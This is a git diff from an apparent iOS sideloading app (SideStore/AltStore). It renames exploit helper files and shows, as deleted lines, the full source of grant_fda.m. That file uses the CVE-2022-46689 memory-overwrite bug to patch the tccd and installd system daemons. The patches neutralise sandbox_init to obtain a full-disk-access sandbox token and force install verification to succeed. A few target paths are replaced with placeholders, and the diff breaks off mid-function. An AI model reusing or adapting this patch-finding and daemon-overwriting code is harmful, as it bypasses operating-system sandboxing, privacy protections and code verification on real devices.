diff --git a/AltStore.xcodeproj/project.pbxproj b/AltStore.xcodeproj/project.pbxproj index 66593c80..e08ca360 100644 --- a/AltStore.xcodeproj/project.pbxproj +++ b/AltStore.xcodeproj/project.pbxproj @@ -92,11 +92,11 @@ 992C896029A6A56500FB3501 /* LocalConsole in Frameworks */ = {isa = PBXBuildFile; productRef = 992C895F29A6A56500FB3501 /* LocalConsole */; }; 993250B12A258EE6001EF2C8 /* Remove3AppLimitView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 993250B02A258EE6001EF2C8 /* Remove3AppLimitView.swift */; }; 993F069A2A26EBF000717CEA /* Error+Message.swift in Sources */ = {isa = PBXBuildFile; fileRef = 993F06992A26EBF000717CEA /* Error+Message.swift */; }; - 993F06A12A2797DE00717CEA /* vm_unalign_csr.h in Headers */ = {isa = PBXBuildFile; fileRef = 993250A62A258B3F001EF2C8 /* vm_unalign_csr.h */; }; + 993F06A12A2797DE00717CEA /* vm_unaligned_copy_switch_race.h in Headers */ = {isa = PBXBuildFile; fileRef = 993250A62A258B3F001EF2C8 /* vm_unaligned_copy_switch_race.h */; }; 993F06A22A27985A00717CEA /* CowExploits+AltStore.swift in Sources */ = {isa = PBXBuildFile; fileRef = 993250A92A258B40001EF2C8 /* CowExploits+AltStore.swift */; }; - 993F06A32A27985F00717CEA /* grant_fda.m in Sources */ = {isa = PBXBuildFile; fileRef = 993250AA2A258B41001EF2C8 /* grant_fda.m */; }; - 993F06A42A27986400717CEA /* helping_tools.m in Sources */ = {isa = PBXBuildFile; fileRef = 993250A82A258B40001EF2C8 /* helping_tools.m */; }; - 993F06A52A27986900717CEA /* vm_unalign_csr.c in Sources */ = {isa = PBXBuildFile; fileRef = 993250AB2A258B41001EF2C8 /* vm_unalign_csr.c */; }; + 993F06A32A27985F00717CEA /* grant_full_disk_access.m in Sources */ = {isa = PBXBuildFile; fileRef = 993250AA2A258B41001EF2C8 /* grant_full_disk_access.m */; }; + 993F06A42A27986400717CEA /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = 993250A82A258B40001EF2C8 /* helpers.m */; }; + 993F06A52A27986900717CEA /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = 993250AB2A258B41001EF2C8 /* vm_unaligned_copy_switch_race.c */; }; 993F06A72A2798D000717CEA /* CowExploits+AltStoreCore.swift in Sources */ = {isa = PBXBuildFile; fileRef = 993F06A62A2798D000717CEA /* CowExploits+AltStoreCore.swift */; }; 994D6E9B29E326080045B3F7 /* minimuxer.swift in Sources */ = {isa = PBXBuildFile; fileRef = 99F87D1729D8E4C900B40039 /* minimuxer.swift */; }; 994D6EB529E35C130045B3F7 /* StoreApp+SideStore.swift in Sources */ = {isa = PBXBuildFile; fileRef = 994D6EB429E35C130045B3F7 /* StoreApp+SideStore.swift */; }; @@ -664,13 +664,13 @@ 990D2AE12A1910CD0055D93C /* UnstableFeatures.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = UnstableFeatures.swift; sourceTree = ""; }; 990D2AEF2A192E060055D93C /* UIApplication+SideStore.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "UIApplication+SideStore.swift"; sourceTree = ""; }; 990D2AFF2A19593F0055D93C /* UnstableFeaturesView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = UnstableFeaturesView.swift; sourceTree = ""; }; - 993250A52A258B3E001EF2C8 /* grant_fda.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_fda.h; sourceTree = ""; }; - 993250A62A258B3F001EF2C8 /* vm_unalign_csr.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unalign_csr.h; sourceTree = ""; }; - 993250A72A258B3F001EF2C8 /* helping_tools.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helping_tools.h; sourceTree = ""; }; - 993250A82A258B40001EF2C8 /* helping_tools.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helping_tools.m; sourceTree = ""; }; + 993250A52A258B3E001EF2C8 /* grant_full_disk_access.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_full_disk_access.h; sourceTree = ""; }; + 993250A62A258B3F001EF2C8 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unaligned_copy_switch_race.h; sourceTree = ""; }; + 993250A72A258B3F001EF2C8 /* helpers.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = ""; }; + 993250A82A258B40001EF2C8 /* helpers.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = ""; }; 993250A92A258B40001EF2C8 /* CowExploits+AltStore.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = "CowExploits+AltStore.swift"; sourceTree = ""; }; - 993250AA2A258B41001EF2C8 /* grant_fda.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_fda.m; sourceTree = ""; }; - 993250AB2A258B41001EF2C8 /* vm_unalign_csr.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unalign_csr.c; sourceTree = ""; }; + 993250AA2A258B41001EF2C8 /* grant_full_disk_access.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_full_disk_access.m; sourceTree = ""; }; + 993250AB2A258B41001EF2C8 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unaligned_copy_switch_race.c; sourceTree = ""; }; 993250B02A258EE6001EF2C8 /* Remove3AppLimitView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Remove3AppLimitView.swift; sourceTree = ""; }; 993F06992A26EBF000717CEA /* Error+Message.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "Error+Message.swift"; sourceTree = ""; }; 993F06A62A2798D000717CEA /* CowExploits+AltStoreCore.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "CowExploits+AltStoreCore.swift"; sourceTree = ""; }; @@ -1383,12 +1383,12 @@ 993250B02A258EE6001EF2C8 /* Remove3AppLimitView.swift */, 993250A92A258B40001EF2C8 /* CowExploits+AltStore.swift */, 993F06A62A2798D000717CEA /* CowExploits+AltStoreCore.swift */, - 993250A52A258B3E001EF2C8 /* grant_fda.h */, - 993250AA2A258B41001EF2C8 /* grant_fda.m */, - 993250A72A258B3F001EF2C8 /* helping_tools.h */, - 993250A82A258B40001EF2C8 /* helping_tools.m */, - 993250A62A258B3F001EF2C8 /* vm_unalign_csr.h */, - 993250AB2A258B41001EF2C8 /* vm_unalign_csr.c */, + 993250A52A258B3E001EF2C8 /* grant_full_disk_access.h */, + 993250AA2A258B41001EF2C8 /* grant_full_disk_access.m */, + 993250A72A258B3F001EF2C8 /* helpers.h */, + 993250A82A258B40001EF2C8 /* helpers.m */, + 993250A62A258B3F001EF2C8 /* vm_unaligned_copy_switch_race.h */, + 993250AB2A258B41001EF2C8 /* vm_unaligned_copy_switch_race.c */, ); path = MDC; sourceTree = ""; @@ -2253,7 +2253,7 @@ BF66EE942501AEBC007EE018 /* ALTAppPermission.h in Headers */, BFAECC602501B0BF00528F27 /* NSError+ALTServerError.h in Headers */, BFAECC5E2501B0BF00528F27 /* CFNotificationName+AltStore.h in Headers */, - 993F06A12A2797DE00717CEA /* vm_unalign_csr.h in Headers */, + 993F06A12A2797DE00717CEA /* vm_unaligned_copy_switch_race.h in Headers */, ); runOnlyForDeploymentPostprocessing = 0; }; @@ -2926,7 +2926,7 @@ 1F0DD8432936B0F9007608A4 /* RoundedTextField.swift in Sources */, D57F2C9126E0070200B9FA39 /* EnableJITOperation.swift in Sources */, BF8CAE4E248AEABA004D6CCE /* UIDevice+Jailbreak.swift in Sources */, - 993F06A42A27986400717CEA /* helping_tools.m in Sources */, + 993F06A42A27986400717CEA /* helpers.m in Sources */, 1FB96FC7292A853D007E68D1 /* SourcesView.swift in Sources */, 1F66F5BE2938F06100A910CA /* StoreApp+Filterable.swift in Sources */, D5E1E7C128077DE90016FC96 /* FetchTrustedSourcesOperation.swift in Sources */, @@ -2958,7 +2958,7 @@ 1FFA56C2299994390011B6F5 /* OutputCapturer.swift in Sources */, 993F069A2A26EBF000717CEA /* Error+Message.swift in Sources */, BF41B806233423AE00C593A3 /* TabBarController.swift in Sources */, - 993F06A32A27985F00717CEA /* grant_fda.m in Sources */, + 993F06A32A27985F00717CEA /* grant_full_disk_access.m in Sources */, 1FB96FC9292ABDD0007E68D1 /* AddSourceView.swift in Sources */, 1F6E08DC292807D3005059C0 /* AppIconView.swift in Sources */, 1F6284D5295209DA0060AAD8 /* AppAction.swift in Sources */, @@ -3053,7 +3053,7 @@ BF4B78FE24B3D1DB008AB4AC /* SceneDelegate.swift in Sources */, BF6C8FB02429599900125131 /* TextCollectionReusableView.swift in Sources */, BF663C4F2433ED8200DAA738 /* FileManager+DirectorySize.swift in Sources */, - 993F06A52A27986900717CEA /* vm_unalign_csr.c in Sources */, + 993F06A52A27986900717CEA /* vm_unaligned_copy_switch_race.c in Sources */, 1F943C702927F90400ABE095 /* BrowseView.swift in Sources */, 1F981B1129AA0FAE0014950E /* OnboardingView.swift in Sources */, 1F943C692927F8F200ABE095 /* RootView.swift in Sources */, diff --git a/AltStore/AltStore-Bridging-Header.h b/AltStore/AltStore-Bridging-Header.h index fe1453d1..974fa719 100644 --- a/AltStore/AltStore-Bridging-Header.h +++ b/AltStore/AltStore-Bridging-Header.h @@ -8,7 +8,5 @@ #include "fragmentzip.h" #ifdef MDC -#import "grant_fda.h" -#import "vm_unalign_csr.h" -#import "helping_tools.h" +#import "grant_full_disk_access.h" #endif /* MDC */ diff --git a/AltStore/MDC/CowExploits+AltStore.swift b/AltStore/MDC/CowExploits+AltStore.swift index 7c1615f2..9b263dee 100644 --- a/AltStore/MDC/CowExploits+AltStore.swift +++ b/AltStore/MDC/CowExploits+AltStore.swift @@ -21,10 +21,10 @@ extension CowExploits { static func patch3AppLimit() async throws { #if !targetEnvironment(simulator) let res: PatchError? = await withCheckedContinuation { continuation in - grant_fda { error in + grant_full_disk_access { error in if let error = error { continuation.resume(returning: PatchError.NoFDA(error: error.message())) - } else if !installdaemon_patch() { + } else if !patch_installd() { continuation.resume(returning: PatchError.FailedPatchd) } else { continuation.resume(returning: nil) diff --git a/AltStore/MDC/grant_fda.m b/AltStore/MDC/grant_fda.m deleted file mode 100644 index 131cf7c5..00000000 --- a/AltStore/MDC/grant_fda.m +++ /dev/null @@ -1,619 +0,0 @@ -#ifdef MDC -@import Darwin; -@import Foundation; -@import MachO; - -#import -// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from -// WDBFontOverwrite -// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything) -// Please don't call this code on iOS 14 or below -// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot) -#import "grant_fda.h" -#import "helping_tools.h" -#import "vm_unalign_csr.h" - -typedef NSObject* xpc_object_t; -typedef xpc_object_t xpc_connection_t; -typedef void (^xpc_handler_t)(xpc_object_t object); -xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys, - xpc_object_t _Nullable const* values, size_t count); -xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq, - uint64_t flags); -void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler); -void xpc_connection_resume(xpc_connection_t connection); -void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, - dispatch_queue_t replyq, xpc_handler_t handler); -xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, - xpc_object_t message); -xpc_object_t xpc_bool_create(bool value); -xpc_object_t xpc_string_create(const char* string); -xpc_object_t xpc_null_create(void); -const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key); - -int64_t sandbox_extension_consume(const char* token); - -// MARK: - patchfind - -struct fda_offsets { - uint64_t of_addr_com_apple_tcc_; - uint64_t offset_pad_space_for_rw_string; - uint64_t of_addr_s_kTCCSML; - uint64_t of_auth_got_sb_init; - uint64_t of_return_0; - bool is_arm64e; -}; - -static bool pchfind_sections(void* execmap, - struct segment_command_64** data_seg, - struct symtab_command** stabout, - struct dysymtab_command** dystabout) { - struct mach_header_64* executable_header = execmap; - struct load_command* load_command = execmap + sizeof(struct mach_header_64); - for (int load_command_index = 0; load_command_index < executable_header->ncmds; - load_command_index++) { - switch (load_command->cmd) { - case LC_SEGMENT_64: { - struct segment_command_64* segment = (struct segment_command_64*)load_command; - if (strcmp(segment->segname, "__DATA_CONST") == 0) { - *data_seg = segment; - } - break; - } - case LC_SYMTAB: { - *stabout = (struct symtab_command*)load_command; - break; - } - case LC_DYSYMTAB: { - *dystabout = (struct dysymtab_command*)load_command; - break; - } - } - load_command = ((void*)load_command) + load_command->cmdsize; - } - return true; -} - -static uint64_t pchfind_get_padding(struct segment_command_64* segment) { - struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64); - struct section_64* last_section = §ion_array[segment->nsects - 1]; - return last_section->offset + last_section->size; -} - -static uint64_t pchfind_pointer_to_string(void* em, size_t el, const char* n) { - void* str_offset = memmem(em, el, n, strlen(n) + 1); - if (!str_offset) { - return 0; - } - uint64_t str_file_offset = str_offset - em; - for (int i = 0; i < el; i += 8) { - uint64_t val = *(uint64_t*)(em + i); - if ((val & 0xfffffffful) == str_file_offset) { - return i; - } - } - return 0; -} - -static uint64_t pchfind_return_0(void* exmp, size_t el) { - // TCCDSyncAccessAction::sequencer - // mov x0, #0 - // ret - static const char ndle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6}; - void* offset = memmem(exmp, el, ndle, sizeof(ndle)); - if (!offset) { - return 0; - } - return offset - exmp; -} - -static uint64_t pchfind_got(void* ecm, size_t executable_length, - struct segment_command_64* data_const_segment, - struct symtab_command* symtab_command, - struct dysymtab_command* dysymtab_command, - const char* target_symbol_name) { - uint64_t target_symbol_index = 0; - for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) { - struct nlist_64* sym = - ((struct nlist_64*)(ecm + symtab_command->symoff)) + sym_index; - const char* sym_name = ecm + symtab_command->stroff + sym->n_un.n_strx; - if (strcmp(sym_name, target_symbol_name)) { - continue; - } - // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - execmap)); - target_symbol_index = sym_index; - break; - } - - struct section_64* section_array = - ((void*)data_const_segment) + sizeof(struct segment_command_64); - struct section_64* first_section = §ion_array[0]; - if (!(strcmp(first_section->sectname, "__auth_got") == 0 || - strcmp(first_section->sectname, "__got") == 0)) { - return 0; - } - uint32_t* indirect_table = ecm + dysymtab_command->indirectsymoff; - - for (int i = 0; i < first_section->size; i += 8) { - uint64_t val = *(uint64_t*)(ecm + first_section->offset + i); - uint64_t indirect_table_entry = (val & 0xfffful); - if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) { - return first_section->offset + i; - } - } - return 0; -} - -static bool pchfind(void* execmap, size_t executable_length, - struct fda_offsets* offsets) { - struct segment_command_64* data_const_segment = nil; - struct symtab_command* symtab_command = nil; - struct dysymtab_command* dysymtab_command = nil; - if (!pchfind_sections(execmap, &data_const_segment, &symtab_command, - &dysymtab_command)) { -// printf("no sections\n"); - return false; - } - if ((offsets->of_addr_com_apple_tcc_ = - pchfind_pointer_to_string(execmap, executable_length, "com.apple.tcc.")) == 0) { -// printf("no com.apple.tcc. string\n"); - return false; - } - if ((offsets->offset_pad_space_for_rw_string = - pchfind_get_padding(data_const_segment)) == 0) { -// printf("no padding\n"); - return false; - } - if ((offsets->of_addr_s_kTCCSML = pchfind_pointer_to_string( - execmap, executable_length, "kTCCServiceMediaLibrary")) == 0) { -// printf("no kTCCServiceMediaLibrary string\n"); - return false; - } - if ((offsets->of_auth_got_sb_init = - pchfind_got(execmap, executable_length, data_const_segment, symtab_command, - dysymtab_command, "_sandbox_init")) == 0) { -// printf("no sandbox_init\n"); - return false; - } - if ((offsets->of_return_0 = pchfind_return_0(execmap, executable_length)) == - 0) { -// printf("no just return 0\n"); - return false; - } - struct mach_header_64* executable_header = execmap; - offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; - - return true; -} - -// MARK: - tccd patching - -static void call_tcc_daemon(void (^completion)(NSString* _Nullable extension_token)) { - // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can - // re-use it until next reboot. - // Returns the sandbox token if there is one, or nil if there isn't one. - //TODO WARNING REPLACE com.apple.tccd - xpc_connection_t connection = xpc_connection_create_mach_service( - "TXUWU", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0); - xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { -// NSLog(@"event handler (xpc): %@", object); - }); - xpc_connection_resume(connection); - const char* keys[] = { -// "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight", -// "target_token", "background_session", - }; - xpc_object_t values[] = { - xpc_string_create("17087.1"), - xpc_string_create("TCCAccessRequest"), - xpc_string_create("com.apple.app-sandbox.read-write"), - xpc_null_create(), - xpc_bool_create(false), - xpc_null_create(), - xpc_bool_create(false), - }; - xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys)); -#if 0 - xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message); -// NSLog(@"%@", response_message); - -#endif - xpc_connection_send_message_with_reply( - connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), - ^(xpc_object_t object) { - if (!object) { - //object is nil??? -// NSLog(@"wqfewfw9"); - completion(nil); - return; - } - //response: -// NSLog(@"qwdqwd%@", object); - if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) { -// NSLog(@"xpc error?"); - completion(nil); - return; - } - //debug description: -// NSLog(@"wqdwqu %@", [object debugDescription]); - const char* extension_string = xpc_dictionary_get_string(object, "extension"); - NSString* extension_nsstring = - extension_string ? [NSString stringWithUTF8String:extension_string] : nil; - completion(extension_nsstring); - }); -} - -static NSData* patch_tcc_daemon(void* executableMap, size_t executableLength) { - struct fda_offsets offsets = {}; - if (!pchfind(executableMap, executableLength, &offsets)) { - return nil; - } - - NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; - // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr); - char* mutableBytes = data.mutableBytes; - { - // rewrite com.apple.tcc. into blank string - *(uint64_t*)(mutableBytes + offsets.of_addr_com_apple_tcc_ + 8) = 0; - } - { - // make of_addr_s_kTCCSML point to "com.apple.app-sandbox.read-write" - // we need to stick this somewhere; just put it in the padding between - // the end of __objc_arrayobj and the end of __DATA_CONST - strcpy((char*)(data.mutableBytes + offsets.offset_pad_space_for_rw_string), - "com.apple.app-sandbox.read-write"); - struct dyld_chained_ptr_arm64e_rebase tRBase = - *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + - offsets.of_addr_s_kTCCSML); - tRBase.target = offsets.offset_pad_space_for_rw_string; - *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + - offsets.of_addr_s_kTCCSML) = - tRBase; - *(uint64_t*)(mutableBytes + offsets.of_addr_s_kTCCSML + 8) = - strlen("com.apple.app-sandbox.read-write"); - } - if (offsets.is_arm64e) { - // make sandbox_init call return 0; - struct dyld_chained_ptr_arm64e_auth_rebase tRBase = { - .auth = 1, - .bind = 0, - .next = 1, - .key = 0, // IA - .addrDiv = 1, - .diversity = 0, - .target = offsets.of_return_0, - }; - *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + - offsets.of_auth_got_sb_init) = - tRBase; - } else { - // make sandbox_init call return 0; - struct dyld_chained_ptr_64_rebase tRBase = { - .bind = 0, - .next = 2, - .target = offsets.of_return_0, - }; - *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.of_auth_got_sb_init) = - tRBase; - } - return data; -} - -static bool over_write_file(int fd, NSData* sourceData) { - for (int off = 0; off < sourceData.length; off += 0x4000) { - bool success = false; - for (int i = 0; i < 2; i++) { - if (unalign_csr( - fd, off, sourceData.bytes + off, - off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) { - success = true; - break; - } - } - if (!success) { - return false; - } - } - return true; -} - -static void grant_fda_impl(void (^completion)(NSString* extension_token, - NSError* _Nullable error)) { -// char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd"; - char* targetPath = "/Nope"; - int fd = open(targetPath, O_RDONLY | O_CLOEXEC); - if (fd == -1) { - // iOS 15.3 and below -// targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd"; - targetPath = "/Nope"; - fd = open(targetPath, O_RDONLY | O_CLOEXEC); - } - off_t targetLength = lseek(fd, 0, SEEK_END); - lseek(fd, 0, SEEK_SET); - void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); - - NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; - NSData* sourceData = patch_tcc_daemon(targetMap, targetLength); - if (!sourceData) { - completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:5 - userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]); - return; - } - - if (!over_write_file(fd, sourceData)) { - over_write_file(fd, originalData); - munmap(targetMap, targetLength); - completion( - nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:1 - userInfo:@{ - NSLocalizedDescriptionKey : @"Can't overwrite file: your device may " - @"not be vulnerable to CVE-2022-46689." - }]); - return; - } - munmap(targetMap, targetLength); - -// crash_with_xpc_thingy("com.apple.tccd"); - - sleep(1); - call_tcc_daemon(^(NSString* _Nullable extension_token) { - over_write_file(fd, originalData); -// crash_with_xpc_thingy("com.apple.tccd"); - NSError* returnError = nil; - if (extension_token == nil) { - returnError = - [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:2 - userInfo:@{ - NSLocalizedDescriptionKey : @"no extension token returned." - }]; - } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) { - returnError = [NSError - errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:3 - userInfo:@{ - NSLocalizedDescriptionKey : @"failed: returned a media library token " - @"instead of an app sandbox token." - }]; - extension_token = nil; - } - completion(extension_token, returnError); - }); -} - -void grant_fda(void (^completion)(NSError* _Nullable)) { - if (!NSClassFromString(@"NSPresentationIntent")) { - // class introduced in iOS 15.0. - // TODO(zhuowei): maybe check the actual OS version instead? - completion([NSError - errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:6 - userInfo:@{ - NSLocalizedDescriptionKey : - @"Not supported on iOS 14 and below." - }]); - return; - } - NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory - inDomains:NSUserDomainMask][0]; - NSURL* sourceURL = - [documentDirectory URLByAppendingPathComponent:@"fda_token.txt"]; - NSError* error = nil; - NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL - encoding:NSUTF8StringEncoding - error:&error]; - if (cachedToken) { - int64_t handle = sandbox_extension_consume(cachedToken.UTF8String); - if (handle > 0) { - // cached version worked - completion(nil); - return; - } - } - grant_fda_impl(^(NSString* extension_token, NSError* _Nullable error) { - if (error) { - completion(error); - return; - } - int64_t handle = sandbox_extension_consume(extension_token.UTF8String); - if (handle <= 0) { - completion([NSError - errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" - code:4 - userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]); - return; - } - [extension_token writeToURL:sourceURL - atomically:true - encoding:NSUTF8StringEncoding - error:&error]; - completion(nil); - }); -} - -// MARK: - installd patch - -struct daemon_remove_app_limit_offsets { - uint64_t offset_objc_method_list_t_MIInstallableBundle; - uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods; - uint64_t offset_data_const_end_padding; - // MIUninstallRecord::supportsSecureCoding - uint64_t offset_return_true; -}; - -struct daemon_remove_app_limit_offsets gAppLimitOffsets = { - .offset_objc_method_list_t_MIInstallableBundle = 0x519b0, - .offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8, - .offset_data_const_end_padding = 0x79c38, - .offset_return_true = 0x19860, -}; - -static uint64_t pchfind_find_rwt_base_methods(void* execmap, - size_t executable_length, - const char* needle) { - void* str_offset = memmem(execmap, executable_length, needle, strlen(needle) + 1); - if (!str_offset) { - return 0; - } - uint64_t str_file_offset = str_offset - execmap; - for (int i = 0; i < executable_length - 8; i += 8) { - uint64_t val = *(uint64_t*)(execmap + i); - if ((val & 0xfffffffful) != str_file_offset) { - continue; - } - // baseMethods - if (*(uint64_t*)(execmap + i + 8) != 0) { - return i + 8; - } - } - return 0; -} - -static uint64_t pchfind_returns_true(void* execmap, size_t executable_length) { - // mov w0, #1 - // ret - static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6}; - void* offset = memmem(execmap, executable_length, needle, sizeof(needle)); - if (!offset) { - return 0; - } - return offset - execmap; -} - -static bool pchfind_deaaamon(void* execmap, size_t executable_length, - struct daemon_remove_app_limit_offsets* offsets) { - struct segment_command_64* data_const_segment = nil; - struct symtab_command* symtab_command = nil; - struct dysymtab_command* dysymtab_command = nil; - if (!pchfind_sections(execmap, &data_const_segment, &symtab_command, - &dysymtab_command)) { -// printf("no sections\n"); - return false; - } - if ((offsets->offset_data_const_end_padding = pchfind_get_padding(data_const_segment)) == 0) { -// printf("no padding\n"); - return false; - } - if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods = - pchfind_find_rwt_base_methods(execmap, executable_length, - "MIInstallableBundle")) == 0) { -// printf("no MIInstallableBundle class_rw_t\n"); - return false; - } - offsets->offset_objc_method_list_t_MIInstallableBundle = - (*(uint64_t*)(execmap + - offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) & - 0xffffffull; - - if ((offsets->offset_return_true = pchfind_returns_true(execmap, executable_length)) == - 0) { -// printf("no return true\n"); - return false; - } - return true; -} - -struct objc_method { - int32_t name; - int32_t types; - int32_t imp; -}; - -struct objc_method_list { - uint32_t entsizeAndFlags; - uint32_t count; - struct objc_method methods[]; -}; - -static void patch_cpy_methods(void* mutableBytes, uint64_t old_offset, - uint64_t new_offset, uint64_t* out_copied_length, - void (^callback)(const char* sel, - uint64_t* inout_function_pointer)) { - struct objc_method_list* original_list = mutableBytes + old_offset; - struct objc_method_list* new_list = mutableBytes + new_offset; - *out_copied_length = - sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method); - new_list->entsizeAndFlags = original_list->entsizeAndFlags; - new_list->count = original_list->count; - for (int method_index = 0; method_index < original_list->count; method_index++) { - struct objc_method* method = &original_list->methods[method_index]; - // Relative pointers - uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name; - uint64_t types_file_offset = - ((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types; - uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp; - const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull); - callback(sel, &imp_file_offset); - - struct objc_method* new_method = &new_list->methods[method_index]; - new_method->name = (int32_t)((int64_t)name_file_offset - - (int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes)); - new_method->types = (int32_t)((int64_t)types_file_offset - - (int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes)); - new_method->imp = (int32_t)((int64_t)imp_file_offset - - (int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes)); - } -}; - -static NSData* make_installdaemon_patch(void* executableMap, size_t executableLength) { - struct daemon_remove_app_limit_offsets offsets = {}; - if (!pchfind_deaaamon(executableMap, executableLength, &offsets)) { - return nil; - } - - NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; - char* mutableBytes = data.mutableBytes; - uint64_t current_empty_space = offsets.offset_data_const_end_padding; - uint64_t copied_size = 0; - uint64_t new_method_list_offset = current_empty_space; - patch_cpy_methods(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle, - current_empty_space, &copied_size, - ^(const char* sel, uint64_t* inout_address) { - if (strcmp(sel, "performVerificationWithError:") != 0) { - return; - } - *inout_address = offsets.offset_return_true; - }); - current_empty_space += copied_size; - ((struct - dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + - offsets - .offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) - ->target = new_method_list_offset; - return data; -} - -bool installdaemon_patch() { - const char* targetPath = "/usr/libexec/installd"; - int fd = open(targetPath, O_RDONLY | O_CLOEXEC); - off_t targetLength = lseek(fd, 0, SEEK_END); - lseek(fd, 0, SEEK_SET); - void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); - - NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; - NSData* sourceData = make_installdaemon_patch(targetMap, targetLength); - if (!sourceData) { - //can't patchfind -// NSLog(@"wuiydqw98uuqwd"); - return false; - } - - if (!over_write_file(fd, sourceData)) { - over_write_file(fd, originalData); - munmap(targetMap, targetLength); - //can't overwrite -// NSLog(@"wfqiohuwdhuiqoji"); - return false; - } - munmap(targetMap, targetLength); - 